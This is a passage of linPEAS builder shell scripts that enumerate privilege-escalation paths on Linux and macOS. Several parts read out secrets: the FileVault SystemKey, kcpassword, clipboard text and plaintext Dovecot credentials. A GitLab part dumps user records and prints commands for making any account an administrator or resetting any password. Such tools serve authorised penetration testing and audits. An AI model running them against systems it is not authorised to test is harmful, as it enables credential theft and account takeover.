-${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/2_Macos_user_hooks.sh ================================================ # Title: Users Information - MacOS user hooks # ID: UG_Macos_user_hooks # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Enumerate all users login and logout hooks # License: GNU GPL # Version: 1.0 # Mitre: T1543.001 # Functions Used: print_2title # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: $user_home # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ];then print_2title "All Login and Logout hooks" "T1543.001" for user_home in /Users/*/ /private/var/root/; do if [ -f "${user_home}Library/Preferences/com.apple.loginwindow.plist" ]; then echo "User: $(basename "$user_home")" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" defaults read "${user_home}Library/Preferences/com.apple.loginwindow.plist" 2>/dev/null | grep -e "Hook" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/3_Macos_keychains.sh ================================================ # Title: Users Information - MacOS Keychains # ID: UG_Macos_keychains # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get macOS keychains information # License: GNU GPL # Version: 1.0 # Mitre: T1555.001 # Functions Used: print_2title, print_info # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: $user_home # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ];then print_2title "Keychains" "T1555.001" print_info "https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#chainbreaker" echo "System Keychains:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" security list-keychains 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" echo -e "\nUser Keychains:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" for user_home in /Users/*/; do if [ -d "${user_home}Library/Keychains" ]; then echo "- User: $(basename "$user_home")" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" ls -la "${user_home}Library/Keychains/" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/4_Macos_systemkey.sh ================================================ # Title: Users Information - MacOS SystemKey # ID: UG_Macos_systemkey # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get macOS SystemKey information (used for FileVault encryption) # License: GNU GPL # Version: 1.0 # Mitre: T1555.001 # Functions Used: print_2title # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ];then print_2title "SystemKey" "T1555.001" echo "The SystemKey is used by FileVault to encrypt/decrypt the volume. If you can read it, you might be able to decrypt the disk." echo -e "\nSystemKey file permissions:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" ls -l /var/db/SystemKey 2>/dev/null | sed -${E} "s,.*,${SED_RED_YELLOW},g" if [ -r "/var/db/SystemKey" ]; then echo -e "\nWARNING: You can read /var/db/SystemKey!" | sed -${E} "s,.*,${SED_RED},g" echo "SystemKey content (first 24 bytes after header):" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/5_Pgp_keys.sh ================================================ # Title: Users Information - PGP keys # ID: UG_Pgp_keys # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check for PGP keys and related files that might contain sensitive information # License: GNU GPL # Version: 1.0 # Mitre: T1552.004 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $HOME # Initial Functions: # Generated Global Variables: $pgp_file # Fat linpeas: 0 # Small linpeas: 1 print_2title "PGP Keys and Related Files" "T1552.004" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#pgp-keys" # Check for GPG echo "GPG:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" if command -v gpg >/dev/null 2>&1; then echo "GPG is installed, listing keys:" gpg --list-keys 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" # Check for private keys gpg --list-secret-keys 2>/dev/null | sed -${E} "s,.*,${SED_RED_YELLOW},g" else echo_not_found "gpg" fi # Check for NetPGP echo -e "\nNetPGP:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" if command -v netpgpkeys >/dev/null 2>&1; then echo "NetPGP is installed" | sed -${E} "s,.*,${SED_RED_YELLOW},g" netpgpkeys --list-keys 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" else echo_not_found "netpgpkeys" fi # Check for common PGP files echo -e "\nPGP Related Files:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" for pgp_file in "$HOME/.gnupg" "$HOME/.pgp" "$HOME/.openpgp" "$HOME/.ssh/gpg-agent.conf" "$HOME/.config/gpg"; do if [ -e "$pgp_file" ]; then echo "Found: $pgp_file" if [ -d "$pgp_file" ]; then ls -la "$pgp_file" 2>/dev/null fi fi done echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/6_Clipboard_highlighted_text.sh ================================================ # Title: Users Information - Clipboard and highlighted text # ID: UG_Clipboard_highlighted_text # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check clipboard and highlighted text for sensitive information # License: GNU GPL # Version: 1.0 # Mitre: T1115 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $DEBUG, $pwd_inside_history # Initial Functions: # Generated Global Variables: $content # Fat linpeas: 0 # Small linpeas: 1 if [ "$(command -v xclip 2>/dev/null || echo -n '')" ] || [ "$(command -v xsel 2>/dev/null || echo -n '')" ] || [ "$(command -v pbpaste 2>/dev/null || echo -n '')" ] || [ "$(command -v wl-paste 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then print_2title "Clipboard and Highlighted Text" "T1115" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#clipboard" # Function to check clipboard content check_clipboard() { local content="$1" if [ -n "$content" ]; then echo "$content" | sed -${E} "s,$pwd_inside_history,${SED_RED},g" | sed -${E} "s,(password|passwd|pwd).*=.*,${SED_RED},g" | sed -${E} "s,(token|key|secret).*=.*,${SED_RED},g" fi } # Check different clipboard tools if [ "$(command -v xclip 2>/dev/null || echo -n '')" ]; then echo "Using xclip:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" echo "Clipboard:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" check_clipboard "$(xclip -o -selection clipboard 2>/dev/null)" echo "Highlighted text:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" check_clipboard "$(xclip -o 2>/dev/null)" elif [ "$(command -v xsel 2>/dev/null || echo -n '')" ]; then echo "Using xsel:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" echo "Clipboard:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" check_clipboard "$(xsel -ob 2>/dev/null)" echo "Highlighted text:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" check_clipboard "$(xsel -o 2>/dev/null)" elif [ "$(command -v pbpaste 2>/dev/null || echo -n '')" ]; then echo "Using pbpaste:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" echo "Clipboard:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" check_clipboard "$(pbpaste 2>/dev/null)" elif [ "$(command -v wl-paste 2>/dev/null || echo -n '')" ]; then echo "Using wl-paste:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" echo "Clipboard:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" check_clipboard "$(wl-paste 2>/dev/null)" else echo_not_found "clipboard tools (xclip, xsel, pbpaste, wl-paste)" fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/7_Sudo_l.sh ================================================ # Title: Users Information - Sudo -l # ID: UG_Sudo_l # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d # License: GNU GPL # Version: 1.0 # Mitre: T1548.003 # Functions Used: echo_not_found, print_2title, print_info # Global Variables:$IAMROOT, $PASSWORD, $sudoB, $sudoG, $sudoVB1, $sudoVB2 # Initial Functions: # Generated Global Variables: $secure_path_line # Fat linpeas: 0 # Small linpeas: 1 print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" "T1548.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid" (echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" if [ "$PASSWORD" ]; then (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo" fi (sudo -n -l 2>/dev/null | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo "No cached sudo token (sudo -n -l)" secure_path_line=$(sudo -l 2>/dev/null | grep -o "secure_path=[^,]*" | head -n 1 | cut -d= -f2) if [ "$secure_path_line" ]; then for p in $(echo "$secure_path_line" | tr ':' ' '); do if [ -w "$p" ]; then echo "Writable secure_path entry: $p" | sed -${E} "s,.*,${SED_RED},g" fi done fi ( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers" if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi for f in /etc/sudoers.d/*; do if [ -w "$f" ]; then echo "Sudoers file: $f is writable and may allow privilege escalation" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi if [ -r "$f" ]; then echo "Sudoers file: $f is readable" | sed -${E} "s,.*,${SED_RED},g" grep -Iv "^$" "$f" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" fi done echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/8_Sudo_tokens.sh ================================================ # Title: Users Information - Sudo tokens # ID: UG_Sudo_tokens # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Checking Sudo tokens # License: GNU GPL # Version: 1.0 # Mitre: T1548.003 # Functions Used: print_2title, print_info # Global Variables: $HOME, $CURRENT_USER_PIVOT_PID # Initial Functions: get_current_user_privot_pid # Generated Global Variables: $ptrace_scope # Fat linpeas: 0 # Small linpeas: 1 print_2title "Checking sudo tokens" "T1548.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#reusing-sudo-tokens" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g"; if [ "$(command -v gdb 2>/dev/null || echo -n '')" ]; then echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; fi if [ "$CURRENT_USER_PIVOT_PID" ]; then echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g"; fi if [ -f "$HOME/.sudo_as_admin_successful" ]; then echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},"; fi if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g"; ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' fi else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; fi if [ -d "/var/run/sudo/ts" ]; then echo "Sudo token directory perms:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" ls -ld /var/run/sudo/ts 2>/dev/null if [ -w "/var/run/sudo/ts" ]; then echo "/var/run/sudo/ts is writable" | sed -${E} "s,.*,${SED_RED},g" fi if [ -f "/var/run/sudo/ts/$USER" ]; then ls -l "/var/run/sudo/ts/$USER" 2>/dev/null if [ -w "/var/run/sudo/ts/$USER" ]; then echo "User sudo token file is writable" | sed -${E} "s,.*,${SED_RED},g" fi fi fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/6_users_information/9_Doas.sh ================================================ # Title: Users Information - Doas # ID: UG_Doas # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check doas configuration and permissions for privilege escalation # License: GNU GPL # Version: 1.0 # Mitre: T1548.003 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $DEBUG, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: $doas_dir_name, $doas_bin, $conf_file # Fat linpeas: 0 # Small linpeas: 1 if [ -f "/etc/doas.conf" ] || [ -f "/usr/local/etc/doas.conf" ] || [ "$DEBUG" ]; then print_2title "Doas Configuration" "T1548.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#doas" # Find doas binary and its config locations doas_bin=$(command -v doas 2>/dev/null) if [ -n "$doas_bin" ]; then doas_dir_name=$(dirname "$doas_bin") echo "Doas binary found at: $doas_bin" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" # Check doas binary permissions if [ -u "$doas_bin" ]; then echo "Doas binary has SUID bit set!" | sed -${E} "s,.*,${SED_RED},g" fi ls -l "$doas_bin" 2>/dev/null | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi # Check all possible doas.conf locations echo -e "\nChecking doas.conf files:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" for conf_file in "/etc/doas.conf" "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" "/usr/local/etc/doas.conf"; do if [ -f "$conf_file" ]; then echo "Found: $conf_file" | sed -${E} "s,.*,${SED_RED_YELLOW},g" if [ -w "$conf_file" ]; then echo "WARNING: $conf_file is writable!" | sed -${E} "s,.*,${SED_RED},g" fi cat "$conf_file" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED},g" | sed "s,root,${SED_RED},g" | sed "s,nopass,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed "s,$USER,${SED_RED_YELLOW},g" fi done # Check if doas is working if [ -n "$doas_bin" ]; then echo -e "\nTesting doas:" | sed -${E} "s,.*,${SED_LIGHT_CYAN},g" if $doas_bin -l 2>/dev/null; then echo "doas -l command works!" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi fi else echo_not_found "doas.conf" fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/1_Useful_software.sh ================================================ # Title: Software Information - Useful Software # ID: SI_Useful_software # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Useful Software # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER, $USEFUL_SOFTWARE # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Useful software" "T1082" for t in $USEFUL_SOFTWARE; do command -v "$t" || echo -n ''; done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/2_Compilers.sh ================================================ # Title: Software Information - Compilers # ID: SI_Compilers # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Search for compilers # License: GNU GPL # Version: 1.0 # Mitre: T1587.001 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Installed Compilers" "T1587.001" (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); echo "" if [ "$(command -v pkg 2>/dev/null || echo -n '')" ]; then print_2title "Vulnerable Packages" "T1587.001" pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" echo "" fi if [ "$(command -v brew 2>/dev/null || echo -n '')" ]; then print_2title "Brew Installed Packages" "T1587.001" brew list echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/3_Macos_writable_installed_apps.sh ================================================ # Title: Software Information - MacOS writable Installed Applications # ID: SI_Macos_writable_installed_apps # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Writable Installed Applications # License: GNU GPL # Version: 1.0 # Mitre: T1574 # Functions Used: print_2title # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ]; then print_2title "Writable Installed Applications" "T1574" system_profiler SPApplicationsDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do if [ -w "$f" ]; then echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" fi done system_profiler SPFrameworksDataType | grep "Location:" | cut -d ":" -f 2 | cut -c2- | while read f; do if [ -w "$f" ]; then echo "$f is writable" | sed -${E} "s,.*,${SED_RED},g" fi done fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Apache_nginx.sh ================================================ # Title: Software Information - Apache-Nginx # ID: SI_Apache_nginx # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Apache-Nginx # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_3title, warn_exec # Global Variables: $NGINX_KNOWN_MODULES # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 peass{Apache-Nginx} ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Awsvault.sh ================================================ # Title: Software Information - Check aws-vault # ID: SI_Awsvault # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check aws-vault # License: GNU GPL # Version: 1.0 # Mitre: T1552.005 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: $AWSVAULT # Fat linpeas: 0 # Small linpeas: 1 AWSVAULT="$(command -v aws-vault 2>/dev/null || echo -n '')" if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then print_2title "Check aws-vault" "T1552.005" aws-vault list fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Browser_profiles.sh ================================================ # Title: Software Information - Browser Profiles # ID: SW_Browser_profiles # Author: Carlos Polop # Last Update: 10-03-2025 # Description: List browser profiles that may store credentials/cookies # License: GNU GPL # Version: 1.0 # Mitre: T1539,T1217 # Functions Used: print_2title, print_3title, print_info # Global Variables: $HOMESEARCH, $SED_RED # Initial Functions: # Generated Global Variables: $h, $firefox_ini, $chrome_base, $profiles # Fat linpeas: 0 # Small linpeas: 1 print_2title "Browser Profiles" "T1539,T1217" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#browser-data" echo "" for h in $HOMESEARCH; do [ -d "$h" ] || continue firefox_ini="$h/.mozilla/firefox/profiles.ini" if [ -f "$firefox_ini" ]; then print_3title "Firefox profiles ($h)" "T1539,T1217" awk -F= ' /^\[Profile/ { in_profile=1 } /^Path=/ { path=$2 } /^IsRelative=/ { isrel=$2 } /^$/ { if (path != "") { if (isrel == "1") { print base "/.mozilla/firefox/" path } else { print path } } path=""; isrel="" } END { if (path != "") { if (isrel == "1") { print base "/.mozilla/firefox/" path } else { print path } } } ' base="$h" "$firefox_ini" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," echo "" fi for chrome_base in "$h/.config/google-chrome" "$h/.config/chromium" "$h/.config/BraveSoftware/Brave-Browser" "$h/.config/microsoft-edge" "$h/.config/microsoft-edge-beta" "$h/.config/microsoft-edge-dev"; do if [ -d "$chrome_base" ]; then profiles=$(find "$chrome_base" -maxdepth 1 -type d \( -name "Default" -o -name "Profile *" \) 2>/dev/null) if [ "$profiles" ]; then print_3title "Chromium profiles ($chrome_base)" "T1539,T1217" printf "%s\n" "$profiles" | sed -${E} "s,.*,${SED_RED}," echo "" fi fi done done ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Cached_AD_hashes.sh ================================================ # Title: Software Information - Cached AD Hashes # ID: SI_Cached_AD_hashes # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Cached AD Hashes # License: GNU GPL # Version: 1.0 # Mitre: T1003.003 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: $adhashes # Fat linpeas: 0 # Small linpeas: 1 adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null) if [ "$adhashes" ] || [ "$DEBUG" ]; then print_2title "Searching AD cached hashes" "T1003.003" ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Containerd.sh ================================================ # Title: Software Information - containerd installed # ID: SI_Containerd # Author: Carlos Polop # Last Update: 22-08-2023 # Description: containerd installed # License: GNU GPL # Version: 1.0 # Mitre: T1613 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $containerd # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then containerd=$(command -v ctr || echo -n '') if [ "$containerd" ] || [ "$DEBUG" ]; then print_2title "Checking if containerd(ctr) is available" "T1613" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#containerd-ctr-privilege-escalation" if [ "$containerd" ]; then echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," ctr image list 2>&1 fi echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Docker.sh ================================================ # Title: Software Information - Docker # ID: SI_Docker # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Docker # License: GNU GPL # Version: 1.0 # Mitre: T1613 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $IAMROOT # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then print_2title "Searching docker files (limit 70)" "T1613" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/index.html#docker-breakout--privilege-escalation" printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do ls -l "$f" 2>/dev/null if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Dovecot.sh ================================================ # Title: Software Information - Dovecot # ID: SI_Dovecot # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dovecot # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: echo_not_found, print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: $dovecotpass, $dp, $df # Fat linpeas: 0 # Small linpeas: 1 # Needs testing dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null) if [ "$dovecotpass" ] || [ "$DEBUG" ]; then print_2title "Searching dovecot files" "T1552.001" if [ -z "$dovecotpass" ]; then echo_not_found "dovecot credentials" else printf "%s\n" "$dovecotpass" | while read d; do df=$(echo $d |cut -d ':' -f1) dp=$(echo $d |cut -d ':' -f2-) echo "Found possible PLAIN text creds in $df" echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null done fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Extra_software.sh ================================================ # Title: Software Information - Extra sotftare # ID: SI_Extra_software # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Add all the extra software checks from build_lists/sensitive_files.yaml that doesn't have linpeas disabled # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_3title, warn_exec # Global Variables: $NGINX_KNOWN_MODULES # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 peass{EXTRA_SECTIONS} ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/FreeIPA.sh ================================================ # Title: Software Information - FreeIPA # ID: SI_FreeIPA # Author: Carlos Polop # Last Update: 22-08-2023 # Description: FreeIPA # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_info # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 peass{FreeIPA} ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Gitlab.sh ================================================ # Title: Software Information - Gitlab # ID: SI_Gitlab # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching GitLab related files # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$(command -v gitlab-rails || echo -n '')" ] || [ "$(command -v gitlab-backup || echo -n '')" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then print_2title "Searching GitLab related files" "T1552.001" #Check gitlab-rails if [ "$(command -v gitlab-rails || echo -n '')" ]; then echo "gitlab-rails was found. Trying to dump users..." gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED}," echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'" echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'" echo "" fi if [ "$(command -v gitlab-backup || echo -n '')" ]; then echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'" echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'" echo "" fi #Check gitlab files printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do if echo $f | grep -q secrets.yml; then echo "Found $f" | sed "s,$f,${SED_RED}," cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" elif echo $f | grep -q gitlab.yml; then echo "Found $f" | sed "s,$f,${SED_RED}," cat "" | grep -A 4 "repositories:" elif echo $f | grep -q gitlab.rb; then echo "Found $f" | sed "s,$f,${SED_RED}," cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED}," fi echo "" done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Kcpassword.sh ================================================ # Title: Software Information - kcpassword # ID: SI_Kcpassword # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Analyzing kcpassword files # License: GNU GPL # Version: 1.0 # Mitre: T1555.001 # Functions Used: print_2title, print_info # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then print_2title "Analyzing kcpassword files" "T1555.001" print_info "https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.html#kcpassword" printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do echo "$f" | sed -${E} "s,.*,${SED_RED}," base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Kerberos.sh ================================================ # Title: Software Information - Kerberos # ID: SI_Kerberos # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Kerberos # License: GNU GPL # Version: 1.0 # Mitre: T1558.003 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $DEBUG, $ITALIC # Initial Functions: # Generated Global Variables: $kadmin_exists, $klist_exists, $kinit_exists, $ptrace_scope # Fat linpeas: 0 # Small linpeas: 1 kadmin_exists="$(command -v kadmin || echo -n '')" klist_exists="$(command -v klist || echo -n '')" kinit_exists="$(command -v kinit || echo -n '')" if [ "$kadmin_exists" ] || 